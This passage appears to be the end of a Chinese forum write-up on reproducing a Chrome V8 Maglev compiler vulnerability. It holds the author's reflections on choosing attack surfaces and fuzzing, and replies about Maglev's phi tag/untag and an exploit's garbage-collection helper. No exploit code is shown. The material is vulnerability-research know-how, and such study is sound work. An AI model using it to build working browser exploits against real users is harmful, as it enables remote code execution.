说点别的,瞎扯一下:目前其实也复现了很多漏洞,但是对挖漏洞其实还是比较迷茫的,自己也花了一些时间总结了下,发现自己虽然在复现一些漏洞,但是很多漏洞都比较老,并且在复现漏洞的时候没有去总结可能的攻击面,看了很多大佬的 talk,发现选取攻击面是非常重要的,就 chrome 而言,其有很多组件,每个组件又有不同的功能分支,如何针对性的进行 fuzz 是非常重要的。也希望后面可以跟踪一些比较前沿的攻击手法和比较新的攻击面。目前在笔者看来,复现漏洞就两个目的,第一就是熟悉某个知识点,就比如笔者之所以复现该漏洞其实就是为了巩固下 Maglev 中的一些东西;第二就是总结攻击面,这个目前笔者做的比较失败。然后单纯的为了写利用去复现漏洞是没有意义的,漏洞那么多,是不能全部复现的。所以后面笔者复现漏洞也会有针对性的复现,会尽量选取一些比较新的漏洞进行复现

人一定要学会反思,不然就如同行尸走肉一般

参考

Getting RCE in Chrome with incomplete object initialization in the Maglev compiler


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2024-4-13 21:22 被XiaozaYa编辑 ,原因:
收藏
点赞2
支持
分享
最新回复 (6)
雪    币: 19431
活跃值: (29097)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-4-14 22:06
1
雪    币: 224
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
感谢师傅的分享,最近也在研究Maglev,但我似乎不太能理解其SSA的表现性(区别于llvm的ssa,我感觉llvm的ir似乎更好理解),还有其phi节点的untag过程有所疑惑,也没有找到比较好的资料。希望师傅可以给一点启发,不胜感激。
2024-4-19 17:56
0
雪    币: 4817
活跃值: (1555)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
4
远岚沐秋 感谢师傅的分享,最近也在研究Maglev,但我似乎不太能理解其SSA的表现性(区别于llvm的ssa,我感觉llvm的ir似乎更好理解),还有其phi节点的untag过程有所疑惑,也没有找到比较好的资 ...
跟llvm的ir是类似的,你看llvm的ir其实也就够了,至于你说的表现性,我没理解是什么意思。对于 phi 节点的 untag 过程,你并没有说你疑惑的点是什么,所有笔者也不知道你疑惑的点是什么。个人理解:笔者认为是因为 V8 使用了指针标记,而有的操作需要 tag 值,有的操作需要 untag 值,而 untag 值相对而言是比较危险的,因为 untag 后,其无法再区分指针和Smi,所以在生成 IR 图时,所有的 phi 节点都进行了 tag,后面进行 untag 其实就是一种优化,其根据输入输出去除 tag 与 untag 之间的转换,对于使用 untag 的操作,其直接使用 untag 值
2024-4-19 21:28
0
雪    币: 4817
活跃值: (1555)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
5
XiaozaYa 跟llvm的ir是类似的,你看llvm的ir其实也就够了,至于你说的表现性,我没理解是什么意思。对于 phi 节点的 untag 过程,你并没有说你疑惑的点是什么,所有笔者也不知道你疑惑的点是什么。个 ...
你可以对着 Maglev IR 看看
2024-4-19 21:32
0
雪    币: 224
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
XiaozaYa 你可以对着 Maglev IR 看看
感谢师傅的解答,其实phi的tag和untag过程比较疑惑,或者说我其实没有理解phi的tag和untag本质上是一个什么操作,师傅好像解答了,我再深入看看,谢谢
2024-4-20 19:00
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
请问一下exp中的minor_gc为什么最后还要添加new ArrayBuffer(8),前面应该足够出发minor_gc了
2024-4-23 19:22
0
游客
登录 | 注册 方可回帖
返回